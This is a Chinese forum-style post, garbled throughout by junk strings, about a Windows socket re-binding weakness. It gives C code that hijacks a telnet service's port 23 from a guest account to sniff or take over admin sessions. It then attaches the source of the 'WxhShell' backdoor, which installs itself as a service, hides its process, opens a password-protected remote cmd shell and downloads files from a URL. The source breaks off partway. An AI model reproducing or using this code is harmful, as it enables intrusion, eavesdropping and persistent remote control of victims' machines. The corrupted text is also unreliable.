在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l!z0lh-J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sr(f9Vl n~xh
%r; saddr.sin_family = AF_INET;
Wt2+D{@8 fy at-wbb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|`d5Y#26 rdd%"u+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
V 4Y w"J z Qtg]@S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
48
DC V6%J9+DK 这意味着什么?意味着可以进行如下的攻击:
Z3Le?cMt^ |1vikG8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^b-o -DgJkyt+< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
gGl}~ Zr`pOUk!4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8jyg1NN D )LE SdX 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
r|[uR$|Y (xnXM}M&2Y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nRKh|B) 4?GW]'d 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
W|S{v7[l M7rVH\:[- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]<\FtH 8:V:^`KaSs #include
>gNVL
( #include
`4V_I%lJ& #include
G[7Z5)2B #include
Ph(bgQg DWORD WINAPI ClientThread(LPVOID lpParam);
% j4 int main()
&HdzbKO= {
Qp9)Rc5 WORD wVersionRequested;
G-?y;V 1 DWORD ret;
E;7vGGf] WSADATA wsaData;
cTW3\S= BOOL val;
t)Q6A@$: SOCKADDR_IN saddr;
Ra%" += SOCKADDR_IN scaddr;
XI#1) int err;
=m{]Xep SOCKET s;
NijvFT$V1 SOCKET sc;
~Dsz9 f int caddsize;
,U9gg-.Lp HANDLE mt;
RLkP)+t DWORD tid;
+m Plid\ wVersionRequested = MAKEWORD( 2, 2 );
#Fx$x#Gc@y err = WSAStartup( wVersionRequested, &wsaData );
v`i9LD0( if ( err != 0 ) {
$6~ J#; printf("error!WSAStartup failed!\n");
Y_qRW. k return -1;
Kfho:e, }
+
k1|+zzS saddr.sin_family = AF_INET;
,r<!30~f 1p#O(o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
o5(`7XV6D tE"aNA#= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
X"yjsk saddr.sin_port = htons(23);
x^_(gve: if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JVO,@~~ {
7`,A]":; printf("error!socket failed!\n");
iY
@MnnX return -1;
nqX)+{wAXe }
nSWW^ ; val = TRUE;
3\J-=U //SO_REUSEADDR选项就是可以实现端口重绑定的
k)+2+hX&> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q$>/~aVM {
F2QX ^* printf("error!setsockopt failed!\n");
OV)J return -1;
)%e`SGmp }
@I{v //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
_=ani9E]uF //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>^vyp! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L`>uO1O fI:j@Wug if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#3!l6] {
l (;~9u0sa ret=GetLastError();
q'u^v PO printf("error!bind failed!\n");
}cDw9;~D return -1;
laVqI|0q }
[v7)xV@c listen(s,2);
!?t#QDo while(1)
dW
hU
o\>= {
? OrRTRW caddsize = sizeof(scaddr);
zd1X(e<|{ //接受连接请求
"YY6_qQR' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o[C,fh,$ if(sc!=INVALID_SOCKET)
m0I/X$-Cl5 {
m0XdIC]s mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i"eUacBz/- if(mt==NULL)
Y*!J +A# {
j<+QGd% printf("Thread Creat Failed!\n");
&DnX6%2 break;
RLuA^ONI }
mj\]oWS7d }
!`j}%!K! CloseHandle(mt);
')ZM#
:G }
+6cOL48" closesocket(s);
ZH]n&%@j WSACleanup();
4`(b(DL] return 0;
n}NO"eF>-s }
FjUf| DWORD WINAPI ClientThread(LPVOID lpParam)
4.?tP7UE {
N7/eF9 SOCKET ss = (SOCKET)lpParam;
1A>>#M=A SOCKET sc;
Y",
:u@R unsigned char buf[4096];
E+>$@STv# SOCKADDR_IN saddr;
,Mt/*^| long num;
mJjd2a"vi DWORD val;
4~;x(e@S DWORD ret;
F(jvdq //如果是隐藏端口应用的话,可以在此处加一些判断
ZHQa}C+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-)S(eqq1 saddr.sin_family = AF_INET;
,MH9e! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E038p]M! saddr.sin_port = htons(23);
9~AAdD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
AQCU\E {
lLq9)+HGN printf("error!socket failed!\n");
3vs;ZBM return -1;
\EP<r }
Aw]W- fx val = 100;
PjL"7^Q& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#0yU
K5J {
+mc0:e{WF ret = GetLastError();
Q?e]N I^ return -1;
$@H]0<3, }
^cQTRO| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IF"-{@ {
3zV{cm0 ret = GetLastError();
Xbm\"g \ return -1;
(%`R{Y }
6gUcoDD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(QARle(i {
6xLLIby, printf("error!socket connect failed!\n");
\YV`M3O closesocket(sc);
e
MX?x7 closesocket(ss);
]{mz %\ return -1;
)U>JFgpIW }
W$E!}~Ro while(1)
_z`g@[m:t {
*)+K+J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;cye
'E //如果是嗅探内容的话,可以再此处进行内容分析和记录
V(-=@UW //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3_AVJv
;N num = recv(ss,buf,4096,0);
(5-4`:1ux if(num>0)
p>GTFXEi6 send(sc,buf,num,0);
]!v:xjzT else if(num==0)
Sdk:-Zuv break;
F;I % 9-R num = recv(sc,buf,4096,0);
_{d0Nm if(num>0)
_A[k&nO!&J send(ss,buf,num,0);
9&FFp*'3 else if(num==0)
YIb=rR[ $ break;
GS!7HphR }
H)eecH$K closesocket(ss);
8IX:XDEQ closesocket(sc);
m2j&v$ return 0 ;
h3}gg@Fm }
z2EZ0vZ ( !K?^si b.Yl0Y ==========================================================
)#NT* @j` e:&+m `OSH 下边附上一个代码,,WXhSHELL
=vqy5y m1](f[$ ==========================================================
n0/H2>I[ ~E]ct F #include "stdafx.h"
0`{3|g qUZm6)p6[a #include <stdio.h>
LF2@qv w D #include <string.h>
88K=jo))b #include <windows.h>
}D/O cp~o #include <winsock2.h>
,3m]jp' #include <winsvc.h>
@xO?SjH #include <urlmon.h>
PT`];C(he 7W{xK'|] #pragma comment (lib, "Ws2_32.lib")
u]D>O$_ s #pragma comment (lib, "urlmon.lib")
fmDn1N-bG }qqE2;{ND #define MAX_USER 100 // 最大客户端连接数
'aq9]D_k #define BUF_SOCK 200 // sock buffer
U',.'"m #define KEY_BUFF 255 // 输入 buffer
\0{g~cU4 F5*NK!U #define REBOOT 0 // 重启
\[nvdvJv #define SHUTDOWN 1 // 关机
*%{ -G!W6$Y #define DEF_PORT 5000 // 监听端口
5WT^;J9V 5|4=uoA< #define REG_LEN 16 // 注册表键长度
^KKU@ab9 #define SVC_LEN 80 // NT服务名长度
1#G( NI@$" // 从dll定义API
$>72 g.B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
FN25,Q8:*I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J?Ed^B- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JTK0#+? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e)(m0m\ t
Q0vX@I<v // wxhshell配置信息
%XpYiW#AK struct WSCFG {
0+i\j`O& int ws_port; // 监听端口
wRc=;f char ws_passstr[REG_LEN]; // 口令
3?}W0dZ$d int ws_autoins; // 安装标记, 1=yes 0=no
^m3[mY [a char ws_regname[REG_LEN]; // 注册表键名
2u(v hJ
F5 char ws_svcname[REG_LEN]; // 服务名
AK#`&)0i char ws_svcdisp[SVC_LEN]; // 服务显示名
K2W$I H:. char ws_svcdesc[SVC_LEN]; // 服务描述信息
%LL*V| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,>DaS( int ws_downexe; // 下载执行标记, 1=yes 0=no
oX2J2O char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
af:wg]g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
~#doJ:^H3 _n[4+S*v( };
Ws+Zmpk% g _2m["6* // default Wxhshell configuration
2'R&K struct WSCFG wscfg={DEF_PORT,
liYR8 D
| "xuhuanlingzhe",
4. &t 1,
#WOb&h "Wxhshell",
Xv`c@n) "Wxhshell",
W?(^|<W "WxhShell Service",
:+Pl~X"_ "Wrsky Windows CmdShell Service",
D^E+#a 1 "Please Input Your Password: ",
\F|L y >g 1,
A[,[j?wC "
http://www.wrsky.com/wxhshell.exe",
N+<`Er "Wxhshell.exe"
OT&mNE4 };
xaiA? if
S)
< t // 消息定义模块
Jb~nu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
jh3LD6|s} char *msg_ws_prompt="\n\r? for help\n\r#>";
P]Hcg|& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JG2)-x;9 char *msg_ws_ext="\n\rExit.";
,W'?F9Y\ char *msg_ws_end="\n\rQuit.";
B{D!5{t char *msg_ws_boot="\n\rReboot...";
&DqeO8?Q char *msg_ws_poff="\n\rShutdown...";
VTDp9s char *msg_ws_down="\n\rSave to ";
;'o:1{Y OV l,o char *msg_ws_err="\n\rErr!";
#-QQ_ char *msg_ws_ok="\n\rOK!";
%-Z0OzWe Wcgy:4K3 char ExeFile[MAX_PATH];
;st$TVzkn int nUser = 0;
` "Gd/ HANDLE handles[MAX_USER];
WSdTP$? int OsIsNt;
=w~phn Z/z(P8#U\ SERVICE_STATUS serviceStatus;
HWr")%EhD SERVICE_STATUS_HANDLE hServiceStatusHandle;
}y-b<J?H LnN6{z{M // 函数声明
zU+` o?al int Install(void);
KcGM=z?: int Uninstall(void);
&ZjQa.-U> int DownloadFile(char *sURL, SOCKET wsh);
N XwQvm;q int Boot(int flag);
EDm,Y void HideProc(void);
erG;M! 9\ int GetOsVer(void);
/Z:\=0` int Wxhshell(SOCKET wsl);
{9 >jWNx void TalkWithClient(void *cs);
BF*]l8p int CmdShell(SOCKET sock);
zc<C %t[~y int StartFromService(void);
FW)G5^Tf int StartWxhshell(LPSTR lpCmdLine);
*k$ ":A ToUeXU
[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bK)gB! VOID WINAPI NTServiceHandler( DWORD fdwControl );
p,y(Fc~]g' X-F|&yE~< // 数据结构和表定义
$K)9(DD SERVICE_TABLE_ENTRY DispatchTable[] =
w[>/(R7im {
C|kZT<,] {wscfg.ws_svcname, NTServiceMain},
=O
qw`jw {NULL, NULL}
*mQOW]x% };
@"jV^2oY1 *$ZLu jy7 // 自我安装
H];QDix? int Install(void)
PvzB, 2": {
Kt,ENbF char svExeFile[MAX_PATH];
+L4_] HKEY key;
SwESDo) strcpy(svExeFile,ExeFile);
mQQ5>0^m GS^U6Xef // 如果是win9x系统,修改注册表设为自启动
^-3R+U- S if(!OsIsNt) {
su~_l[6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D`=hP(y^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_v2K1 1 RegCloseKey(key);
W/PZD ( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
C7ZU)MEUd/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.bh>_ W_h RegCloseKey(key);
&H!#jh\w return 0;
lNSB "S }
/J8'mCuC. }
?)9mHo^ }
$7{V+> else {
}.<%46_Z- ~Co7 %e V // 如果是NT以上系统,安装为系统服务
D. 2HM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y-%S,91O if (schSCManager!=0)
$=8?@My< {
g->cgExj SC_HANDLE schService = CreateService
*
%p6+D-C (
.!kqIx*3 schSCManager,
pIh%5ZU wscfg.ws_svcname,
|Ew\Tgo/2 wscfg.ws_svcdisp,
s9 '*Vm SERVICE_ALL_ACCESS,
_zQ3sm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lgC|3] SERVICE_AUTO_START,
_DChNX SERVICE_ERROR_NORMAL,
RltG/ZI svExeFile,
]p(jL7 NULL,
v_*E:E NULL,
Hh=D:kE NULL,
`F:PWG` NULL,
,4ftQJ NULL
/#?lG`'1 );
v>TI.;{y if (schService!=0)
euHX7 {
C%<[mM CloseServiceHandle(schService);
~y{(&7sM CloseServiceHandle(schSCManager);
6KmF 9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
d;KrV=%30s strcat(svExeFile,wscfg.ws_svcname);
q2}<n'o+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
372ewh3' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Z3=DM=V;v RegCloseKey(key);
>a98H4 return 0;
K,YKU?z6 }
\M/XM6:UG4 }
7\aLK# CloseServiceHandle(schSCManager);
O&93QN0 }
8Z>ZjNG }
fG O.wb ~SkdP7 ) return 1;
i*j[j~2>C; }
,R$n I*mf_ ,L&Ka|N0 // 自我卸载
dX0A(6 int Uninstall(void)
.L%_#A {
a3]'%kKp HKEY key;
vyT$IdV2 Ow=` tv$l if(!OsIsNt) {
8}m]XO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y[x9c0 RegDeleteValue(key,wscfg.ws_regname);
P-ma~g>I RegCloseKey(key);
O&]Y.Z9,A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m*h
d%1D RegDeleteValue(key,wscfg.ws_regname);
bh:;ovH RegCloseKey(key);
Nzz" w_# return 0;
|{HtY }
d;\x 'h2 }
o<loc Z }
&O(z|-&| x else {
"2(4?P Ps0'WRJnx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>:5/V0;, if (schSCManager!=0)
$xmltvaF {
kc `Q-
N} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=kohQ d.n if (schService!=0)
>1xlP/4jx {
0Ep%&>@ if(DeleteService(schService)!=0) {
LOi5 ^Um| CloseServiceHandle(schService);
j&)+qTV CloseServiceHandle(schSCManager);
\(jSkrrD return 0;
oUR'gc : }
N5[QQtQ CloseServiceHandle(schService);
e4Ol:V }
1p>5ZkHb CloseServiceHandle(schSCManager);
"YHqls} c }
XX~~SvSM }
%v:9_nwO) e.n&Os<|< return 1;
QNzI }
N54U
[sy ^,'!j/w5 // 从指定url下载文件
( du<0J|PT int DownloadFile(char *sURL, SOCKET wsh)
"zR+} {
>f4H<V- HRESULT hr;
q(i| char seps[]= "/";
$/nU0W char *token;
+j&4[;8P: char *file;
#0"Fw$Pc char myURL[MAX_PATH];
3,e^;{w char myFILE[MAX_PATH];
Y<%$;fx$Sx WMZ&LlB% strcpy(myURL,sURL);
QM`A74j0]\ token=strtok(myURL,seps);
|/[?]` while(token!=NULL)
{e0cc1Up} {
&,2XrXiFu file=token;
]$!-%pNv token=strtok(NULL,seps);
[2~Et+r6g }
`$SX%AZA WE 'afxgV GetCurrentDirectory(MAX_PATH,myFILE);
X0+$pJ60 strcat(myFILE, "\\");
K/KZ}PI-O strcat(myFILE, file);
>`Gys8T send(wsh,myFILE,strlen(myFILE),0);
Q3u
P7j send(wsh,"...",3,0);
XLz>h(w= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'J#u;KJ if(hr==S_OK)
Zm!T4pL return 0;
ie{9zO<d else
lhva| return 1;
3|8\,fO? ,]\L\ V }
R2yiExw< ,IF3VE&r // 系统电源模块
<Qu]m.z[ int Boot(int flag)
$3zs?Fd` {
;*5$xs&=_Z HANDLE hToken;
`WGT`A" TOKEN_PRIVILEGES tkp;
gUwg\>UC XT>
u/Z ) if(OsIsNt) {
URdCV{@42 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
s'qd%JxD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n=WwB(}q tkp.PrivilegeCount = 1;
?8X;F"Ba tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-61{ MMiA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
p;zV4uSv if(flag==REBOOT) {
\]dx;,T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rg64f'+Eug return 0;
F=!p7msRB }
yaza else {
cw|3W] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]Qm$S5tU return 0;
;NQ9A &$) }
m1H_kJ }
jI%v[]V else {
2kb<;Eh`G if(flag==REBOOT) {
f]Z%,'1^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z)p(
l! return 0;
zrVw l\& }
kKL'rT6z else {
0=O(+
yi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1=:=zyEEo return 0;
Z>
Jm }
CAg~K[ }
BBuI|lr _W]R|kYl$' return 1;
~SUrbRaY> }
9'+Eu)l: d1]CN6 7{G // win9x进程隐藏模块
-!i1xR(;h void HideProc(void)
9MP_#M7 {
PJ}d-
4A0
,N8ja} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0x BO5[w,Y if ( hKernel != NULL )
<8;SSdoKi {
8'XAZSd( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8LuM eGs
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
1.Kun !w FreeLibrary(hKernel);
h [*/Tnr }
W
D 8 A1>fNilC9 return;
wNc.z*+O"H }
oVlh4"y#Lf @7S*
] // 获取操作系统版本
U<<@(d%T int GetOsVer(void)
_EPfeh; {
u%m,yPU~B OSVERSIONINFO winfo;
@vyq?H$U;N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
7pPaHX8 GetVersionEx(&winfo);
b5i ehoA if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[vv $"$z return 1;
hp|.hN(kS] else
YMSZcI return 0;
M'gGoH}B+q }
a4d7;~tZ f4'WT // 客户端句柄模块
{$>Pg/ int Wxhshell(SOCKET wsl)
lKdd3W"o {
_v6x3 Z SOCKET wsh;
!d.bCE~ struct sockaddr_in client;
i}Q"'? DWORD myID;
X!xmto %eOO8^N while(nUser<MAX_USER)
Am
~P$dN {
wn-1fz<d int nSize=sizeof(client);
C))x#P36 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
B\54e Tn if(wsh==INVALID_SOCKET) return 1;
;F_pF+&q h0.2^vM)R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
y5{Vx{V"Q if(handles[nUser]==0)
\s?8}k closesocket(wsh);
n58yR -" else
r'(*# nUser++;
p>N8g#G }
b(_f{R7PY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+'|nsIx, 8IkmFXj return 0;
=u-q#<h4; }
j:2TicHDC q6PG=9d0B // 关闭 socket
B#DnU;=O#+ void CloseIt(SOCKET wsh)
KAJR.YNm {
Xp+lpVcJ closesocket(wsh);
riZ :#I nUser--;
VUi> ]v/e ExitThread(0);
\RqH"HqD }
D7r&z? eDsB.^|l // 客户端请求句柄
Vk> & void TalkWithClient(void *cs)
Zg%tN#6y {
@O`T|7v '%X29B5 SOCKET wsh=(SOCKET)cs;
.?vHoNvo char pwd[SVC_LEN];
'}^qz#w char cmd[KEY_BUFF];
43 vF(<r&f char chr[1];
= GyABK int i,j;
WG&! VK YkFAu8b> while (nUser < MAX_USER) {
9
JhCSw-<) [Tl66Eyl if(wscfg.ws_passstr) {
f^-ot@w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?fN6_x2e3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DcNp-X40I //ZeroMemory(pwd,KEY_BUFF);
UZdGV?o ? i=0;
:>iN#)S while(i<SVC_LEN) {
Er;q s *f 1>uAVPa // 设置超时
&~Y%0&F,& fd_set FdRead;
=w* 8 struct timeval TimeOut;
\%&A? D FD_ZERO(&FdRead);
vV xw*\`<6 FD_SET(wsh,&FdRead);
_Vl~'+ e TimeOut.tv_sec=8;
sv!zY= 6 TimeOut.tv_usec=0;
eR,/}g\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
YKz#, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Rc:}%a%e {sf
,(.W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Wsgp#W+ pwd
=chr[0]; `#'j3,\6
if(chr[0]==0xd || chr[0]==0xa) { '}9 Nvr)+
pwd=0; a{L&RRJ
break; 8Ji`wnkXe
} j^5YFUwsQg
i++; [-VK!9pQ
} w\MWr+4
Z.&/,UU:4
// 如果是非法用户,关闭 socket }AA">FF'y4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8h0C G]
} {:3\Ms#
4D2U,Ds
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \i/HHP[%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Mk;r*FT
2GORGS%
while(1) { xVw@pR;
P
JATRJ1.
ZeroMemory(cmd,KEY_BUFF); :Fm*WqZu
@I-,5F|r
// 自动支持客户端 telnet标准 z bYv}q
j=0; [Q{\Ik
while(j<KEY_BUFF) { mW4Cc1*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?$K-f:?c
cmd[j]=chr[0]; S9Oz5_x
if(chr[0]==0xa || chr[0]==0xd) { 4~3
n
=T*
cmd[j]=0; L /:^;j`c
break; _qR?5;v
} :>.{w$Ln%
j++; vRH^en
} Cyd/HTNh<
iMJt8sd
// 下载文件 t$(#$Z,RS
if(strstr(cmd,"http://")) { '=vZAV`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); e2v`
if(DownloadFile(cmd,wsh)) e,epKtL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2zqaR[C
else Bkd$'7UT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `v!.
,Yr
} {7ji m
else { iq*im$9J
7H)$NG<U$
switch(cmd[0]) { S?d<P
TdgK.g 4
// 帮助 )][U6 e
case '?': { o[cOL^Xd1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @>Yd6C
break; !nSa4U,$w<
} $uHQl#!;
// 安装 U}5fjY
case 'i': {
I8?
if(Install()) a$|U4Eqo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a5pl/d
else $KYGQP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -y-}g[`
break; ?{qUn8f2
} PP$sdmo
// 卸载 VkFh(Br<{
case 'r': { Jz`jN~
if(Uninstall()) 6?F88;L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E`oA(x7l
else u9"yU:1keb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = g{I`u
break; t|i NSy3
} ^$: w
// 显示 wxhshell 所在路径 `-uE(qp
case 'p': { M!J7Vj?Ps
char svExeFile[MAX_PATH]; #@B"E2F
strcpy(svExeFile,"\n\r"); )k=KLQ\b
strcat(svExeFile,ExeFile); btuG%D{a^
send(wsh,svExeFile,strlen(svExeFile),0); Bib<ySCre
break; :EV.nD7
} $XhMI;h
// 重启 8X,6U_>#a
case 'b': { ~pRgTXbz
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #SHeK 4
if(Boot(REBOOT)) RxMsP;be
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)Qv;'U=rn
else { Z6zV 9hn
closesocket(wsh); wtek5C^
ExitThread(0); \Osu1]Jn>
} WiytHuUF
break; PT2;%=f
} aj`&ca8
// 关机 fs
ufYIf
case 'd': { 8:{id>Mm^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
77@N79lqO
if(Boot(SHUTDOWN)) !"F;wg$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F"]P|
else { ~(V\.hq
closesocket(wsh); L[Vk 6e
ExitThread(0); *SNdU^!
} \P.h;|u
break; G]=z
![$
} _Q5mPBO
// 获取shell 1(o\GI3:
case 's': { LDjtkD.r
CmdShell(wsh); ]lC%HlID
closesocket(wsh); m8fj\,X
ExitThread(0); UTkPA2x
break; |'?vlUCd
} }Z"iW/?"
// 退出 f)*"X[)o
case 'x': { %Ln`c.C
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^o3,YH
CloseIt(wsh); |R9Lben',
break; StI
N+S@Z
} uE's&H
// 离开 kZw"a*6
case 'q': { {fXkbMO|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); XZ%,h
closesocket(wsh); hObL=^F
WSACleanup(); Ooz,?wU6
exit(1); .C^P6S2oJ
break; -8n1y[
} uos8Mav{E
} 4eHSAN"$
} yzS^8,
juHL$SGC
// 提示信息 Pm/<^z%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H+[?{+"#@l
} H~j@n!)
} H a!,9{T
z0}j7ns]
return; CQWXLQED>
} W;OGdAa_
9mi@PW}1
// shell模块句柄 (e7!p=D
int CmdShell(SOCKET sock) v?`R8
{ =7Ud-5c
STARTUPINFO si; rRe5Q
ZeroMemory(&si,sizeof(si)); MLdwf}[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eQ>Ur2H8n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8T3,56>
PROCESS_INFORMATION ProcessInfo; >+%#m'Y&&
char cmdline[]="cmd"; ZG=]b%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SP%X@~d
return 0; #*.!J zOg
} &hWELZe0vv
HJl?@&l/
// 自身启动模式 E'WXi!>7p
int StartFromService(void) ?IGp?R^j"
{ qR@ESJ_
typedef struct |ty&}'6C
{ )U\i7[k>
DWORD ExitStatus; ]ae(t`\l^
DWORD PebBaseAddress; e1Db
+ QBV
